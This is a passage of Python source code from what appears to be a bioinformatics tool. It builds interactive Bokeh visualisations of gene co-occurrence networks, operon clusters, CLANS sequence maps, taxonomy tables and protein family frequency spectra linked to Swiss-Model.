(click to view in Swiss-Model repository)'\n\t\t\telif model_state == 'Model does not exist':\n\t\t\t\tmodel_state = 'No (click to model with Swiss-Model)'\n\t\t\telse:\n\t\t\t\tif family > 0 and family < 10000:\n\t\t\t\t\tmodel_state = 'Not possible to find'\n\t\t\t\telse:\n\t\t\t\t\tmodel_state = ''\n\t\t\t\n\t\t\tstructure = families_summary[family]['structure']\n\t\t\tif structure == '':\n\t\t\t\tuniprot_code = families_summary[family]['uniprot_code']\n\t\t\t\tstructure = 'https://swissmodel.expasy.org/repository/uniprot/{}'.format(uniprot_code)\n\t\t\t\n\t\telse:\n\t\t\tmodel_state = 'n.a.'\n\t\t\tstructure = 'n.a.'\n\t\t\n\t\tif family != 0 and family != reference_family and family < 10000:\n\t\t\tdata['family'].append(family)\n\t\telse:\n\t\t\tdata['family'].append(str(''))\n\t\t\t\n\t\tdata['found_models'].append(model_state)\n\t\tdata['model_links'].append(structure)\n\t\t\n\t\ty_range = (min([node_graph_coords[node][1] for node in node_graph_coords])-0.5, max([node_graph_coords[node][1] for node in node_graph_coords])+0.5)\n\t\ty_step = (y_range[1]-y_range[0])*0.09\n\n\t\tdata['text_x'].append(coords[0])\n\t\tdata['text_y'].append(coords[1]+y_step)\n\t\t\n\t\tdata['tm_text_x'].append(coords[0])\n\t\tdata['tm_text_y'].append(coords[1])\n\t\tdata['tm_text'].append(tm_text)\n\t\tdata['tm_pred_text'].append(tm_mode)\n\t\tdata['tm_type'].append(tm_type)\n\t\t\n\t\tdata['protein_name'].append(protein_name)\n\t\t\n\t\n\ttooltips = [('Protein name', \"@protein_name\"),\n\t\t\t\t('Protein family code', '@family'),\n\t\t\t\t(\"Predicted membrane protein\", \"@tm_pred_text @tm_type\"),\n\t\t\t\t('Structural model found', '@found_models')] \n\t\n\treturn data, tooltips\n\ndef create_graph_figure(operons, reference_family, families_summary, family_colors, gc, min_coocc = 0.40, mode = 'coocurrence', graph_coord = {}, previous_net = ''):\n\t\n\tmatrix, selected_families_summary = get_coocurrence_matrix(operons, families_summary, min_coocc = min_coocc)\n\tgraph = get_graph_from_matrix(matrix, selected_families_summary, family_colors)\n\t\n\tif mode == 'coocurrence':\n\t\ttitle = 'Gene co-occurrence network'\n\telif mode == 'adjacency':\n\t\tgraph = remove_non_adjacent_edges(operons, families_summary, graph, families_present = sorted(list(selected_families_summary.keys())))\n\t\ttitle = 'Gene adjcency network'\n\t\n\tif len(graph_coord) == 0:\n\t\tgraph_coord = nx.spring_layout(graph)\n\t\n\tnode_data, node_tooltips = create_node_features(selected_families_summary, reference_family, graph_coord, graph)\n\t\t\n\tif previous_net != '':\n\t\tx_range = previous_net.x_range\n\t\ty_range = previous_net.y_range\n\t\t\n\telse:\n\t\tx_range = (min([graph_coord[node][0] for node in graph_coord])-0.5, max([graph_coord[node][0] for node in graph_coord])+0.5)\n\t\ty_range = (min([graph_coord[node][1] for node in graph_coord])-0.5, max([graph_coord[node][1] for node in graph_coord])+0.5)\n\n\tg = figure(width = gc.plot_width, height = gc.plot_height, x_range=x_range, y_range=y_range, title = title)\n\n\tgraph_renderer = from_networkx(graph, graph_coord, scale=1, center=(0, 0))\n\tgraph_renderer.edge_renderer.glyph = MultiLine(line_width=\"line_width\", line_color = \"edge_color\")\n\tgraph_renderer.node_renderer.glyph = Circle(size=22, fill_color = \"node_color\")\n\t\n\tg.renderers.append(graph_renderer)\n\t\n\tg.text('text_x', 'text_y', text = 'family', text_baseline=\"bottom\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = node_data)\n\tg.text('tm_text_x', 'tm_text_y', text = 'tm_text', text_color = \"white\", text_baseline=\"middle\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = node_data)\n\tg.circle('tm_text_x', 'tm_text_y', color = None, size = 22, source = node_data)\n\t\n\tg.add_tools(HoverTool(tooltips=node_tooltips))\n\tg.add_tools(TapTool(callback = OpenURL(url='@model_links')))\n\n\tg.xaxis.major_tick_line_color = None # turn off x-axis major ticks\n\tg.xaxis.minor_tick_line_color = None # turn off x-axis minor ticks\n\tg.yaxis.major_tick_line_color = None # turn off y-axis major ticks\n\tg.yaxis.minor_tick_line_color = None # turn off y-axis minor ticks\n\tg.xaxis.major_label_text_color = None # turn off x-axis tick labels leaving space\n\tg.yaxis.major_label_text_color = None # turn off y-axis tick labels leaving space \n\tg.yaxis.axis_line_width = 0\n\tg.xaxis.axis_line_width = 0\n\t# define general features\n\tg.grid.visible = False\n\tg.outline_line_width = 0\n\t\n\treturn g, graph_coord\n\n# 9.6. Routines for advenced interactive plotting\n\ndef define_operons_colors(clusters, mode = 'matplotlib', cmap = 'rainbow', print_summary = False):\n\n\tcolors = {}\n\n\tcmap = matplotlib.cm.get_cmap(cmap)\n\tnorm = matplotlib.colors.Normalize(vmin=0, vmax=len(clusters))\n\n\tcolours = [cmap(norm(i)) for i in range(len(clusters))]\n\t#random.shuffle(colours)\n\n\tif print_summary:\n\t\tprint(\" ... Setting the colors of the operon clusters identified\")\n\t\tprint(\" ... ... Colormap: {}\".format(cmap))\n\t\tprint('\\nLabel\\tColor (RGBA)')\n\n\tfor i, label in enumerate(sorted(clusters)):\n\t\tif label not in colors:\n\t\t\tcolors[label] = {}\n\n\t\tif '-' in label: # singleton clusters\n\t\t\tcolors[label]['Color (RGBA)'] = 'grey'\n\t\t\tcolors[label]['Color (tuplet)'] = 'grey'\n\t\t\tcolors[label]['Line color'] = 'black'\n\t\t\tcolors[label]['Line style'] = '-'\n\t\t\tcolors[label]['Size'] = '2'\n\n\t\telse: \n\t\t\tif mode == 'matplotlib':\n\t\t\t\tcolors[label]['Color (RGBA)'] = [int(255*j) for j in colours[i]]\n\t\t\t\tcolors[label]['Color (tuplet)'] = colours[i]\n\t\t\t\tcolors[label]['Line color'] = 'black'\n\t\t\t\tcolors[label]['Line style'] = '-'\n\t\t\telif mode == 'bokeh':\n\t\t\t\tcolors[label]['Color (RGBA)'] = RGB(int(255*list(colours[i])[0]), int(255*list(colours[i])[1]), int(255*list(colours[i])[2]))\n\t\t\t\tcolors[label]['Color (tuplet)'] = colours[i]\n\t\t\t\tcolors[label]['Line color'] = 'black'\n\t\t\t\tcolors[label]['Line style'] = '-'\n\t\t\tcolors[label]['Size'] = '5'\n\n\t\tif print_summary:\n\t\t\tprint('{}\\t{}'.format(label, colors[label]['Color (RGBA)']))\n\n\treturn colors \n\ndef parse_coordinates_from_clans(clans_file):\n\t\n\tclans_coords = {}\n\tseq_map = {}\n\t\n\tfound_seq_block = False\n\tfound_coords = False\n\tseq_count = 0\n\twith open(clans_file, 'r') as inclans:\n\t\tfor line in inclans:\n\t\t\tif '' in line:\n\t\t\t\tfound_seq_block = True\n\t\t\telif '' in line:\n\t\t\t\tfound_seq_block = False\n\t\t\telif found_seq_block and line.startswith('>'):\n\t\t\t\tline = line[1:]\n\t\t\t\tncbi_code = line.split(' ')[0].split(':')[0].split('|')[0].split('_#')[0].replace('>','').strip()\n\t\t\t\tseq_map[seq_count] = ncbi_code\n\t\t\t\t\n\t\t\t\tif '[' in line and ']' in line:\n\t\t\t\t\tspecies = line.split('[')[1].split(']')[0]\n\t\t\t\telse:\n\t\t\t\t\tspecies = 'n.a.'\n\t\t\t\t\n\t\t\t\tclans_coords[ncbi_code]={'species': species, 'xy': None}\n\t\t\t\t\n\t\t\t\tseq_count += 1\n\t\t\t\n\t\t\telif '' in line:\n\t\t\t\tfound_coords = True\n\t\t\telif '' in line:\n\t\t\t\tfound_coords = False\n\t\t\telif not found_seq_block and found_coords:\n\t\t\t\tcoords = [float(i) for i in line.strip().split(' ')]\n\t\t\t\tncbi_code = seq_map[int(coords[0])]\n\t\t\t\tclans_coords[ncbi_code]['xy'] = coords[1:3]\n\t\t\t\n\treturn clans_coords\n\ndef generate_coordinates_for_clans(all_syntenies, out_label = None, num_threads = None, num_alignments = None, max_evalue = None, num_iterations = None, min_coverage = None, method = None, mmseqs = None, blast = None, default_base = None, tmp_folder = None):\n\n\tin_syntenies = {}\n\tfor target in all_syntenies:\n\t\tin_syntenies[target] = {'flanking_genes': {}}\n\n\t\tassembly_targetid = all_syntenies[target]['assembly_id'][0]\n\t\tcontext_idx = all_syntenies[target]['flanking_genes']['ncbi_codes'].index(assembly_targetid)\n\n\t\tfor key in all_syntenies[target]['flanking_genes']:\n\t\t\tif type(all_syntenies[target]['flanking_genes'][key]) == list:\n\t\t\t\tif key == 'ncbi_codes':\n\t\t\t\t\tin_syntenies[target]['flanking_genes'][key] = [target]\n\t\t\t\telse:\n\t\t\t\t\tin_syntenies[target]['flanking_genes'][key] = [all_syntenies[target]['flanking_genes'][key][context_idx]]\n\n\tdistance_matrix, ordered_ncbi_codes = compute_all_agains_all_distance_matrix(in_syntenies, out_label = '{}_targets'.format(out_label), num_threads = num_threads, num_alignments = num_alignments, max_evalue = max_evalue, num_iterations = num_iterations, min_coverage = min_coverage, method = method, mmseqs = mmseqs, blast = blast, default_base = default_base, tmp_folder = tmp_folder)\t\n\n\tpaCMAP_embedding = pacmap.PaCMAP(n_components = 2)\n\tpaCMAP_coordinat = paCMAP_embedding.fit_transform(distance_matrix)\n\n\tclans_coords = {ordered_ncbi_codes[i]: {'xy': paCMAP_coordinat[i]} for i in range(len(paCMAP_coordinat))}\n\n\treturn clans_coords\n\ndef create_data_structure(operons, clans_file, clusters_colors, all_syntenies, out_label = None, num_threads = None, num_alignments = None, max_evalue = None, num_iterations = None, min_coverage = None, method = None, mmseqs = None, blast = None, default_base = None, tmp_folder = None):\n\n\tif clans_file is not None:\n\t\tclans_coords = parse_coordinates_from_clans(clans_file)\n\t\tseq_in_clans_without_operon = list(set(clans_coords.keys()).difference(list(all_syntenies.keys())))\n\telse:\n\t\tclans_coords = generate_coordinates_for_clans(all_syntenies, out_label = out_label, num_threads = num_threads, num_alignments = num_alignments, max_evalue = max_evalue, num_iterations = num_iterations, min_coverage = min_coverage, method = method, mmseqs = mmseqs, blast = blast, default_base = default_base, tmp_folder = tmp_folder)\n\t\tseq_in_clans_without_operon = []\n\t\n\tdata = {'x': [],\t\t # pacmap x coord for individual operon\n\t\t\t'y': [],\t\t # pacmap y coord for individual operon\n\t\t\t'avg_x': [],\t # average x coord of the corresponding operon type\n\t\t\t'avg_y': [],\t # average y coord of the corresponding operon type\n\t\t\t'clans_x': [],\t# clans x coord for the input target\n\t\t\t'clans_y': [],\t# clans y coord for the input target\n\t\t\t'edgecolor': [],\n\t\t\t'facecolor': [],\n\t\t\t'size': [],\n\t\t\t'node_size': [],\n\t\t\t'text': [],\n\t\t\t'type': [],\n\t\t\t'species': [],\n\t\t\t'target': []}\n\t\n\t# first go through the sequences in the clans map that were not assigned any gene cluster type \n\t# (eg, the clans map is for a much larger set of sequences, our set of sequences is a subset of the clans map\n\t# or sequences were filteresd out because they were in a partial genome context)\n\tfor member in seq_in_clans_without_operon:\n\t\tclans_x, clans_y = clans_coords[member]['xy']\n\t\ttext = 'Not analysed'\n\t\toperon_type = 'n.a.'\n\t\tspecies\t = clans_coords[member]['species']\n\t\tfacecolor = 'grey'\n\t\tedgecolor = 'grey'\n\t\tsize\t\t= 1\n\t\n\t\tdata['clans_x'].append(clans_x)\n\t\tdata['clans_y'].append(-clans_y)\n\t\tdata['x'].append(np.nan)\n\t\tdata['y'].append(np.nan)\n\t\tdata['avg_x'].append(np.nan)\n\t\tdata['avg_y'].append(np.nan)\n\t\tdata['text'].append(text)\n\t\tdata['edgecolor'].append(edgecolor)\n\t\tdata['facecolor'].append(facecolor)\n\t\tdata['size'].append(size)\n\t\tdata['node_size'].append(np.nan)\n\t\tdata['type'].append(operon_type)\n\t\tdata['species'].append(species)\n\t\tdata['target'].append(member)\n\t\n\t# now go through the sequences in the gene clusters and collect their xy clans coordinates if they\n\t# are in the clans map\n\tfor operon_type in sorted(list(operons.keys())):\n\t\tfacecolor = clusters_colors[operon_type]['Color (RGBA)']\n\t\tedgecolor = clusters_colors[operon_type]['Line color']\n\t\tsize = clusters_colors[operon_type]['Size']\n\t\t\n\t\tfor i, member in enumerate(operons[operon_type]['target_members']):\n\t\t\tif member in clans_coords:\n\t\t\t\tclans_x, clans_y = clans_coords[member]['xy']\n\t\t\t\tclans_y = -clans_y\n\t\t\telse:\n\t\t\t\tclans_x, clans_y = np.nan, np.nan\n\t\t\t\n\t\t\tx, y = operons[operon_type]['operon_filtered_PaCMAP'][i]\n\t\t\ttext = operons[operon_type]['operon_protein_families_structure'][i]\n\n\t\t\tdata['clans_x'].append(clans_x)\n\t\t\tdata['clans_y'].append(clans_y)\n\t\t\tdata['x'].append(x)\n\t\t\tdata['y'].append(y)\n\t\t\tdata['avg_x'].append(np.nan)\n\t\t\tdata['avg_y'].append(np.nan)\n\t\t\tdata['text'].append(text)\n\t\t\tdata['edgecolor'].append(edgecolor)\n\t\t\tdata['facecolor'].append(facecolor)\n\t\t\tdata['size'].append(size)\n\t\t\tdata['node_size'].append(np.nan)\n\t\t\tdata['type'].append(operon_type.split()[2])\n\t\t\tdata['species'].append(all_syntenies[member]['species'])\n\t\t\tdata['target'].append(member)\n\t\t\n\t\t# add the data for the average position of the GC in the pacmap space if it is not a -00001 type\n\t\tif '-' not in operon_type:\n\t\t\tavg_x, avg_y = operons[operon_type]['operon_centroid_PaCMAP']\n\t\t\t\n\t\t\tdata['clans_x'].append(np.nan)\n\t\t\tdata['clans_y'].append(np.nan)\n\t\t\tdata['x'].append(avg_x)\n\t\t\tdata['y'].append(avg_y)\n\t\t\tdata['avg_x'].append(avg_x)\n\t\t\tdata['avg_y'].append(avg_y)\n\t\t\tdata['text'].append(np.nan)\n\t\t\tdata['edgecolor'].append(edgecolor)\n\t\t\tdata['facecolor'].append(facecolor)\n\t\t\tdata['size'].append('1')\n\t\t\tdata['node_size'].append('10')\n\t\t\tdata['type'].append(operon_type.split()[2])\n\t\t\tdata['species'].append(np.nan)\n\t\t\tdata['target'].append(np.nan)\n\t\t\t\t\n\ttooltips = [('Operon/GC type', '@type'),\n\t\t\t\t('EntrezID', '@target'),\n\t\t\t\t('Species', '@species'),]\n\t\n\treturn tooltips, ColumnDataSource(data)\n\ndef create_operons_clusters_scatter(scatter_data):\n\n\tp_tooltips, p_data = scatter_data\n\n\tp = figure(title = 'Genomic context types/clusters', plot_width=500, plot_height=500)\n\tp.add_layout(Legend(orientation=\"horizontal\"), 'above')\n\n#\t p.circle('x', 'y', size='size', line_color='edgecolor', fill_color='facecolor', legend_field='type', alpha=1, source = p_data)\n\tp.circle('x', 'y', size='size', line_color='edgecolor', fill_color='facecolor', alpha=1, source = p_data)\n\n\tp.xaxis.major_tick_line_color = None # turn off x-axis major ticks\n\tp.xaxis.minor_tick_line_color = None # turn off x-axis minor ticks\n\tp.yaxis.major_tick_line_color = None # turn off y-axis major ticks\n\tp.yaxis.minor_tick_line_color = None # turn off y-axis minor ticks\n\tp.xaxis.major_label_text_color = None # turn off x-axis tick labels leaving space\n\tp.yaxis.major_label_text_color = None # turn off y-axis tick labels leaving space \n\tp.yaxis.axis_line_width = 0\n\tp.xaxis.axis_line_width = 0\n\t# define general features\n\tp.grid.visible = False\n#\t p.outline_line_width = 0\n\n\tp.xaxis.axis_label = \"\"\n\tp.yaxis.axis_label = \"\"\n\n\tp.add_tools(HoverTool(tooltips=p_tooltips))\n\tp.add_tools(LassoSelectTool())\n\n\tp.background_fill_color = \"lightgrey\"\n\tp.background_fill_alpha = 0.2\n\n\tp.legend.click_policy=\"hide\"\n\n\treturn p\n\ndef create_edges_data(scatter_data, operons, alpha_matrix, labels):\n\n\tdata = {'x': [],\n\t\t\t'y': [],\n\t\t\t'color': [],\n\t\t\t'alpha':[]}\n\n\tfor i, i_operon_type in enumerate(labels):\n\t\tfor j, j_operon_type in enumerate(labels):\n\t\t\tif i > j:\n\t\t\t\tx_start, y_start = operons[i_operon_type]['operon_centroid_PaCMAP']\n\t\t\t\tx_end, y_end = operons[j_operon_type]['operon_centroid_PaCMAP']\n\n\t\t\t\tdata['x'].append([x_start, x_end])\n\t\t\t\tdata['y'].append([y_start, y_end])\n\t\t\t\tdata['color'].append('black')\n\t\t\t\tdata['alpha'].append(round(alpha_matrix[i][j], 1))\n\n\ttooltips = [('Relative distance/alpha', '@alpha')]\n\n\treturn tooltips, data\n\ndef create_avg_operons_clusters_network(operons, operons_scatter, scatter_data, max_family_freq, min_family_freq):\n\n\tp_tooltips, p_data = scatter_data\n\n\tsimilarity_matrix, operons_labels = get_avgoperons_distance_matrix(operons)\n\tsimilarity_matrix = normalize_matrix(similarity_matrix)\n\n\tedge_tooltips, edge_data = create_edges_data(p_data, operons, similarity_matrix, operons_labels)\n\n\tp = figure(title = 'Genomic context types/clusters similarity network', plot_width=operons_scatter.plot_width, \n\t\t\t plot_height=operons_scatter.height, x_range = operons_scatter.x_range, y_range = operons_scatter.y_range)\n\tp.add_layout(Legend(orientation=\"horizontal\"), 'above')\n\n#\t p.circle('x', 'y', size='size', line_color='edgecolor', fill_color='facecolor', legend_field='type', alpha=1, source = p_data)\n\tp.multi_line('x', 'y', color='color', alpha='alpha', source=edge_data, name='edges')\n\tp.circle('avg_x', 'avg_y', size='node_size', line_color='edgecolor', fill_color='facecolor', alpha=1, source = p_data, name='nodes')\n\n\tp.xaxis.major_tick_line_color = None # turn off x-axis major ticks\n\tp.xaxis.minor_tick_line_color = None # turn off x-axis minor ticks\n\tp.yaxis.major_tick_line_color = None # turn off y-axis major ticks\n\tp.yaxis.minor_tick_line_color = None # turn off y-axis minor ticks\n\tp.xaxis.major_label_text_color = None # turn off x-axis tick labels leaving space\n\tp.yaxis.major_label_text_color = None # turn off y-axis tick labels leaving space \n\tp.yaxis.axis_line_width = 0\n\tp.xaxis.axis_line_width = 0\n\t# define general features\n\tp.grid.visible = False\n#\t p.outline_line_width = 0\n\n\tp.xaxis.axis_label = \"\"\n\tp.yaxis.axis_label = \"\"\n\n\tp.add_tools(HoverTool(tooltips=p_tooltips, names=['nodes']))\n\tp.add_tools(HoverTool(tooltips=edge_tooltips, names=['edges']))\n\tp.add_tools(LassoSelectTool())\n\n\tp.background_fill_color = \"lightgrey\"\n\tp.background_fill_alpha = 0.2\n\n\tp.legend.click_policy=\"hide\"\n\n\treturn p, similarity_matrix\n\t\ndef create_clans_map_scatter(scatter_data):\n\n\tp_tooltips, p_data = scatter_data\n\n\tp = figure(title = 'Sequence similarity cluster (CLANS) map', plot_width=500, plot_height=500)\n\tp.add_layout(Legend(orientation=\"horizontal\"), 'above')\n\n\tp.circle('clans_x', 'clans_y', size='size', line_color='edgecolor', fill_color='facecolor', alpha=1, source = p_data)\n\n\tp.xaxis.major_tick_line_color = None # turn off x-axis major ticks\n\tp.xaxis.minor_tick_line_color = None # turn off x-axis minor ticks\n\tp.yaxis.major_tick_line_color = None # turn off y-axis major ticks\n\tp.yaxis.minor_tick_line_color = None # turn off y-axis minor ticks\n\tp.xaxis.major_label_text_color = None # turn off x-axis tick labels leaving space\n\tp.yaxis.major_label_text_color = None # turn off y-axis tick labels leaving space \n\tp.yaxis.axis_line_width = 0\n\tp.xaxis.axis_line_width = 0\n\t# define general features\n\tp.grid.visible = False\n#\t p.outline_line_width = 0\n\n\tp.xaxis.axis_label = \"\"\n\tp.yaxis.axis_label = \"\"\n\n\tp.add_tools(HoverTool(tooltips=p_tooltips))\n\tp.add_tools(LassoSelectTool())\n\n\tp.background_fill_color = \"lightgrey\"\n\tp.background_fill_alpha = 0.2\n\n#\t p.legend.click_policy=\"hide\"\n\n\treturn p\n\ndef create_targets_table_data(all_syntenies, taxonomy, clusters_colors):\n\n\tdata = {'Target EntrezID': [],\n\t\t\t'Superkingdom': [],\n\t\t\t'Phylum': [],\n\t\t\t'Class': [],\n\t\t\t'Order': [],\n\t\t\t'Genus': [],\n\t\t\t'Species': [],\n\t\t\t'Genomic context type': [],\n\t\t\t'color': []}\n\n\tfor superkingdom in taxonomy.keys():\n\t\tfor phylum in taxonomy[superkingdom].keys():\n\t\t\tfor taxclass in taxonomy[superkingdom][phylum].keys():\n\t\t\t\tfor order in taxonomy[superkingdom][phylum][taxclass].keys():\n\t\t\t\t\tfor genus in taxonomy[superkingdom][phylum][taxclass][order].keys():\n\t\t\t\t\t\tfor species in taxonomy[superkingdom][phylum][taxclass][order][genus].keys():\n\t\t\t\t\t\t\tfor target in taxonomy[superkingdom][phylum][taxclass][order][genus][species]['target_members']:\n\t\t\t\t\t\t\t\toperon_type = all_syntenies[target]['operon_type']\n\t\t\t\t\t\t\t\toperon_type = 'GC Type {:05d}'.format(operon_type)\n\n\t\t\t\t\t\t\t\tif '-' not in operon_type:\n\t\t\t\t\t\t\t\t\toperon_color = clusters_colors[operon_type]['Color (RGBA)']\n\n\t\t\t\t\t\t\t\t\tdata['Target EntrezID'].append(target)\n\t\t\t\t\t\t\t\t\tdata['Superkingdom'].append(superkingdom)\n\t\t\t\t\t\t\t\t\tdata['Phylum'].append(phylum)\n\t\t\t\t\t\t\t\t\tdata['Class'].append(taxclass)\n\t\t\t\t\t\t\t\t\tdata['Order'].append(order)\n\t\t\t\t\t\t\t\t\tdata['Genus'].append(genus)\n\t\t\t\t\t\t\t\t\tdata['Species'].append(species)\n\t\t\t\t\t\t\t\t\tdata['Genomic context type'].append(operon_type.split()[-1])\n\t\t\t\t\t\t\t\t\tdata['color'].append(operon_color)\n\n\tcolumns = [TableColumn(field=i, title=i) for i in data.keys()]\n\n\tcolumns = [TableColumn(field=i, title=i) if i not in ['color']\n\t\t else TableColumn(field=i, title='Genomic context color', formatter=HTMLTemplateFormatter(template=';font-size:18pt;text-shadow: 1px 1px 2px #000000;\">■'))\n\t\t for i in data.keys()]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\n\tdata = pd.DataFrame(data)\n\n\treturn data, columns\n\ndef create_targets_summary_table(all_syntenies, taxonomy, clusters_colors):\n\n\tt_data, t_columns = create_targets_table_data(all_syntenies, taxonomy, clusters_colors)\t\n\tt = DataTable(source=ColumnDataSource(t_data), columns=t_columns, width=1500, height=500)\n\treturn t\n\ndef compute_families_frequencies(operons):\n\n\tfamilies_frequencies = {}\n\tnumber_of_operons = 0\n\tfor operon_type in operons:\n\t\tfor i, target in enumerate(operons[operon_type]['target_members']):\n\t\t\tnumber_of_operons += 1\n\t\t\tfor family in operons[operon_type]['operon_protein_families_structure'][i]:\n\t\t\t\tif family not in families_frequencies:\n\t\t\t\t\tfamilies_frequencies[family] = 1\n\t\t\t\telse:\n\t\t\t\t\tfamilies_frequencies[family] += 1\n\n\treturn families_frequencies, number_of_operons\n\ndef compute_families_frequencies_per_operon_cluster(operons):\n\n\tfamilies_frequencies = {}\n\tfor operon_type in operons:\n\t\tcurr_frequencies, curr_number_of_operons = compute_families_frequencies({operon_type: operons[operon_type]})\n\t\tfamilies_frequencies[operon_type] = curr_frequencies\n\n\t\tfor family in families_frequencies[operon_type]:\n\t\t\tfamilies_frequencies[operon_type][family] = families_frequencies[operon_type][family]/curr_number_of_operons\n\n\treturn families_frequencies\n\ndef clean_uncommon_families(families_frequencies, families_summary, operons_labels, min_freq = 0.05):\n\n\tfamilies_labels = [i for i in sorted(families_summary.keys()) if i < 10000 and i > 0]\n\tmatrix = [[0 for family in families_labels] for operon_type in operons_labels]\n\n\tfor i, operon_type in enumerate(operons_labels):\n\t\tfor j, family in enumerate(families_labels):\n\t\t\tif family in families_frequencies[operon_type]:\n\t\t\t\tmatrix[i][j] = families_frequencies[operon_type][family]\n\n\tmatrix = pd.DataFrame(matrix, index=operons_labels, columns=families_labels).T\n\tmatrix = matrix.loc[matrix.max(axis=1) > min_freq]\n\tmatrix['sum'] = matrix.sum(axis=1)\n\tmatrix = matrix.sort_values(by='sum', ascending=False)\n\tmatrix = matrix.drop('sum', axis=1).T\n\n\treturn matrix \n\ndef create_family_spectrum_data(families_frequencies_matrix, families_summary, family_colors, oprn_den_data, reference_family, dx = 1):\n\n\tdata = {'xs': [],\n\t\t\t'ys': [],\n\t\t\t'edgecolor': [],\n\t\t\t'facecolor': [],\n\t\t\t'text': [],\n\t\t\t'text_x': [],\n\t\t\t'text_y': [],\n\t\t\t'tm_text_x': [],\n\t\t\t'tm_text_y': [],\n\t\t\t'tm_text': [],\n\t\t\t'tm_type': [],\n\t\t\t'tm_mode': [],\n\t\t\t'family': [],\n\t\t\t'found_models': [],\n\t\t\t'model_links': [],\n\t\t\t'keywords': [],\n\t\t\t'go_terms': [],\n\t\t\t'function': []}\n\n\tyyticklabels = oprn_den_data['leaf_label']\n\tyys = []\n\ty_step = oprn_den_data['y'][1] - oprn_den_data['y'][0]\n\n\tfor i, operon_type in enumerate(families_frequencies_matrix.index):\n\t\tcurr_y = oprn_den_data['y'][i]-(y_step/2)\n\t\t\n\t\tfor j, family in enumerate(families_frequencies_matrix.columns):\n\t\t\tdy = families_frequencies_matrix.at[operon_type,family]\n\t\t\tif dy > 1:\n\t\t\t\tdy = 1\n\t\t\t\t\n\t\t\tdy = dy*y_step\n\t\t\tcurr_x = j\n\t\t\t\n\t\t\tif family == reference_family:\n\t\t\t\tdata['text'].append('Target protein: {}'.format(families_summary[family]['name']))\n\t\t\telif family in families_summary:\n\t\t\t\tdata['text'].append(families_summary[family]['name'])\n\n\t\t\tdata['family'].append(family)\n\n\t\t\tif 'model_state' in families_summary[family]:\n\t\t\t\tmodel_state = families_summary[family]['model_state']\n\n\t\t\t\tif model_state == 'Model exists':\n\t\t\t\t\tmodel_state = families_summary[family]['structure']\n\t\t\t\telif model_state == 'Model does not exist':\n\t\t\t\t\tmodel_state = 'click to model/view with Swiss-Model'\n\t\t\t\telse:\n\t\t\t\t\tmodel_state = 'Not possible to find'\n\t\t\telse:\n\t\t\t\tmodel_state = ''\n\n\t\t\tdata['found_models'].append(model_state)\n\n\t\t\tif 'function' in families_summary[family]:\n\t\t\t\tif 'TM_topology' in families_summary[family]['function']:\n\t\t\t\t\ttm_type = families_summary[family]['function'][\"TM_topology\"]\n\t\t\t\t\tkeywords = ', '.join(sorted(families_summary[family]['function']['Keywords']))\n\t\t\t\t\tgo_terms = '; '.join(sorted(families_summary[family]['function']['GO_terms']))\n\t\t\t\t\tfunction = families_summary[family]['function']['Function_description']\n\n\t\t\t\t\tif len(tm_type) > 0:\n\t\t\t\t\t\ttm_text = 'TM'\n\t\t\t\t\t\ttm_mode = 'Yes -> type:'\n\t\t\t\t\telse:\n\t\t\t\t\t\ttm_text = ''\n\t\t\t\t\t\ttm_mode = 'No'\n\t\t\t\telse:\n\t\t\t\t\ttm_type = ''\n\t\t\t\t\ttm_text = ''\n\t\t\t\t\ttm_mode = ''\n\t\t\t\t\tkeywords = ''\n\t\t\t\t\tgo_terms = '' \n\t\t\t\t\tfunction = ''\n\t\t\telse:\n\t\t\t\ttm_type = 'n.a.'\n\t\t\t\ttm_text = ''\n\t\t\t\ttm_mode = 'n.a.'\n\t\t\t\tkeywords = 'n.a.'\n\t\t\t\tgo_terms = 'n.a.' \n\t\t\t\tfunction = 'n.a.'\n\n\t\t\tif 'structure' in families_summary[family]:\n\t\t\t\tstructure = families_summary[family]['structure']\n\t\t\t\tif structure == '':\n\t\t\t\t\tuniprot_code = families_summary[family]['uniprot_code']\n\t\t\t\t\tstructure = 'https://swissmodel.expasy.org/repository/uniprot/{}'.format(uniprot_code)\n\t\t\telse:\n\t\t\t\tstructure = 'n.a.'\n\n\t\t\tdata['model_links'].append(structure)\n\n\t\t\tdata['facecolor'].append(family_colors[family]['Color (RGBA)'])\n\t\t\tdata['edgecolor'].append(family_colors[family]['Line color'])\n\t\t\tdata['xs'].append([curr_x, curr_x, curr_x+dx,curr_x+dx])\n\t\t\tdata['ys'].append([curr_y, curr_y+dy, curr_y+dy, curr_y])\n\t\t\tdata['text_x'].append(((curr_x+dx)/2)+curr_x)\n\t\t\tdata['text_y'].append(curr_y+0.5)\n\n\t\t\tdata['tm_text_x'].append(((curr_x+dx)/2)+curr_x)\n\t\t\tdata['tm_text_y'].append(curr_y+0.25)\n\t\t\tdata['tm_text'].append(tm_text)\n\t\t\tdata['tm_type'].append(tm_type)\n\t\t\tdata['tm_mode'].append(tm_mode)\n\n\t\t\tdata['go_terms'].append(go_terms)\n\t\t\tdata['keywords'].append(keywords)\n\t\t\tdata['function'].append(function)\n\n\t\tcurr_y -= 1\n\t\t\n\t\tyys.append(curr_y+(y_step/2))\n\n\tyyticklabels = {yys[i]: yyticklabels[i] for i in range(len(yyticklabels))}\n\n\ttooltips = [('Protein family', '@text'),\n\t\t\t\t('Protein family code', '@family'),\n\t\t\t\t('Structure', '@found_models'),\n\t\t\t\t('Predicted membrane protein', '@tm_mode @tm_type'),\n\t\t\t\t('Keywords', '@keywords'),\n\t\t\t\t('GO terms', '@go_terms'),\n\t\t\t\t('Function', '@function')]\n\n\treturn tooltips, data, yyticklabels\n\ndef create_family_frequency_per_operon_figure(operons, families_summary, family_colors, oprn_dendogram, oprn_den_data, reference_family, height_factor = 25*1.2, min_freq = 0.05):\n\n\tfamilies_frequencies = compute_families_frequencies_per_operon_cluster(operons)\n\tfamilies_frequencies_matrix = clean_uncommon_families(families_frequencies, families_summary, operons_labels = oprn_den_data['leaf_label'], min_freq = min_freq)\n\n\tp_tooltips, p_data, p_yyticklabels = create_family_spectrum_data(families_frequencies_matrix, families_summary, family_colors, oprn_den_data, reference_family = reference_family)\n\t\t\n\tp = figure(plot_width=1250, plot_height=oprn_dendogram.height, x_range = [0, len(families_frequencies_matrix.columns)], y_range = oprn_dendogram.y_range, \n\t\t\t toolbar_location=\"left\", title = 'Genomic context family spectrum (hover to get more information and click to model with SWISS-MODEL)') \n\t\n\tp.patches('xs', 'ys', fill_color = 'facecolor', line_color = 'edgecolor', line_width = 1, source = p_data, \n\t\t\t 